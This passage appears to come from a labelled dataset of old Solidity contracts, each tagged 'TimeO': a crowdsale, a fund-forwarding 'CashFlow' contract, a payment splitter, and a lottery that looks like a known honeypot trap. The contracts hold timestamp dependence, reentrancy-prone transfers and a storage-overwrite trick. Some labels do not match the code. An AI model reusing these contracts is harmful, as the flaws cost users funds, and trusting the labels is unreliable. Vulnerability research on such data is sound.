    address public owner = 0xC9167F51CDEa635634E6d92D25664379dde36484;

    uint256 public price;
    uint256 public startDate;
    uint256 public endDate;

    event FundTransfer(address backer, uint amount, bool isContribution);

    function LVRCrowdsale() public {
        creator = msg.sender;
        startDate = 1522839600;
        endDate = 1525431600;
        price = 1000;
        tokenReward = Token(0x7095E151aBD19e8C99abdfB4568F675f747f97F6);
    }

    function setOwner(address _owner) public {
        require(msg.sender == creator);
        owner = _owner;      
    }

    function setCreator(address _creator) public {
        require(msg.sender == creator);
        creator = _creator;      
    }

    function setStartDate(uint256 _startDate) public {
        require(msg.sender == creator);
        startDate = _startDate;      
    }

    function setEndtDate(uint256 _endDate) public {
        require(msg.sender == creator);
        endDate = _endDate;      
    }
    
    function setPrice(uint256 _price) public {
        require(msg.sender == creator);
        price = _price;      
    }

    function setToken(address _token) public {
        require(msg.sender == creator);
        tokenReward = Token(_token);      
    }
    
    function kill() public {
        require(msg.sender == creator);
        selfdestruct(owner);
    }

    function () payable public {
        require(msg.value > 0);
        require(now > startDate);
        require(now < endDate);
	    uint amount = msg.value * price;
        uint _amount = amount / 20;
        
        // period 1 : 30%
        if(now > 1522839600 && now < 1523098800) {
            amount += _amount * 6;
        }
        
        // period 2 : 20%
        if(now > 1523098800 && now < 1523703600) {
            amount += _amount * 4;
        }

        // period 3 : 10%
        if(now > 1523703600 && now < 1524913200) {
            amount += _amount * 2;
        }

        tokenReward.transferFrom(owner, msg.sender, amount);
        FundTransfer(msg.sender, amount, true);
        owner.transfer(msg.value);
    }
}
// Vulnerability label: TimeO
pragma solidity ^0.4.24;

/*
    我們採用了類交易所的架構，實現了無手續費、不需要CPU資源的極速體驗。同時我們的開獎結果採用了EOS區塊哈希，投注結果通過EOS轉賬的形式同步記錄在EOS上。
    保證了下注信息公開透明，可查驗。開獎結果公平透明，可查驗。並且得益於這種架構，我們可以支持多幣種，跨鏈幣種的投注。是區塊鏈首創的Dapp解決方案。
    然而各大Dapp排行網站需要通過合約地址跟踪我們的流水情況，因此特別建立此合約，真實映射我們的投注流水情況。大家可以通過追踪官方網站公佈的EOS賬戶的轉賬記錄MEMO，核對流水數據（每半小時匯總一次）。
    本合約不對外開放，請勿調用.

    We adopted a class-like exchange architecture to achieve a speed-free experience with no fees and no CPU resources.
    At the same time, our lottery results use the EOS block hash, and the betting results are recorded on the EOS in the form of EOS transfer.
    The betting information is guaranteed to be transparent and identifiable. The results of the lottery are fair and transparent and can be checked.
    And thanks to this architecture, we can support multi-currency, cross-chain currency betting. It is the first Dapp solution in the blockchain.
    However, the major Dapp ranking websites need to track our flow status through the contract address, so this contract is specially established to truly map our betting flow.
    You can check the data (summary every half hour) by tracking the transfer record MEMO of the EOS account published on the official website.
    This contract is not open to the public, please do not call
*/
contract CashFlow {

    address public depositAddress = 0xbb02b2754386f0c76a2ad7f70ca4b272d29372f2;
    address public owner;

    modifier onlyOwner {
        require(owner == msg.sender, "only owner");
        _;
    }

    constructor() public payable {
        owner = msg.sender;
    }

    function() public payable {
        if(address(this).balance > 10 ether) {
            depositAddress.transfer(10 ether);
        }
    }

    function setOwner(address _owner) public onlyOwner {
        owner = _owner;
    }

    function setDepositAddress(address _to) public onlyOwner {
        depositAddress = _to;
    }

    function withdraw(uint amount) public onlyOwner {
        if (!owner.send(amount)) revert();
    }

    function ownerkill() public onlyOwner {
        selfdestruct(owner);
    }

}
// Vulnerability label: TimeO
pragma solidity ^0.4.18;


contract Depay {

    address public developer;
    uint public donations;

    function Depay() public {
        developer = msg.sender;
    }

    event Payment(address indexed sender, address indexed receiver, uint indexed amount, uint donation);
    function pay(address recipient, uint donation) public payable {
        require(donation < msg.value);
        recipient.transfer(msg.value - donation);
        donations += donation;
        Payment(msg.sender, recipient, msg.value - donation, donation);
    }

    function withdrawDonations(address recipient) public {
        require(msg.sender == developer);
        recipient.transfer(donations);
        donations = 0;
    }
}
// Vulnerability label: TimeO
pragma solidity ^0.4.0;
/*
 * This is a distributed lottery that chooses random addresses as lucky addresses. If these
 * participate, they get the jackpot: the whole balance of the contract, including the ticket
 * price. Of course one address can only win once. The owner regularly reseeds the secret
 * seed of the contract (based on which the lucky addresses are chosen), so if you did not win,
 * just wait for a reseed and try again! Contract addresses cannot play for obvious reasons.
 *
 * Jackpot chance:   1 in 8
*/
contract AddressLotteryV2{
    struct SeedComponents{
        uint component1;
        uint component2;
        uint component3;
        uint component4;
    }
    
    address owner;
    uint private secretSeed;
    uint private lastReseed;
    
    uint winnerLuckyNumber = 7;
    
    uint public ticketPrice = 0.1 ether;
        
    mapping (address => bool) participated;

    modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }
  
    modifier onlyHuman() {
        require(msg.sender == tx.origin);
        _;
    }
    
    function AddressLotteryV2() {
        owner = msg.sender;
        reseed(SeedComponents(12345678, 0x12345678, 0xabbaeddaacdc, 0x22222222));
    }
    
    function setTicketPrice(uint newPrice) onlyOwner {
        ticketPrice = newPrice;
    }
    
    function participate() payable onlyHuman { 
        require(msg.value == ticketPrice);
        
        // every address can only win once, obviously
        require(!participated[msg.sender]);
        
        if ( luckyNumberOfAddress(msg.sender) == winnerLuckyNumber)
        {
            participated[msg.sender] = true;
            require(msg.sender.call.value(this.balance)());
        }
    }
    
    function luckyNumberOfAddress(address addr) constant returns(uint n){
        // 1 in 8 chance
        n = uint(keccak256(uint(addr), secretSeed)[0]) % 8;
    }
    
    function reseed(SeedComponents components) internal{
        secretSeed = uint256(keccak256(
            components.component1,
            components.component2,
            components.component3,
            components.component4
        ));
        lastReseed = block.number;
    }
    
    function kill() onlyOwner {
        suicide(owner);
    }
    
    function forceReseed() {
        SeedComponents s;
        s.component1 = uint(owner);
        s.component2 = uint256(block.blockhash(block.number - 1));
        s.component3 = block.number * 1337;
        s.component4 = tx.gasprice * 7;
        reseed(s);
    }
    
    function () payable {}
    
    // DEBUG, DELETE BEFORE DEPLOYMENT!!
    function _myLuckyNumber() constant returns(uint n){
        n = luckyNumberOfAddress(msg.sender);
    }
}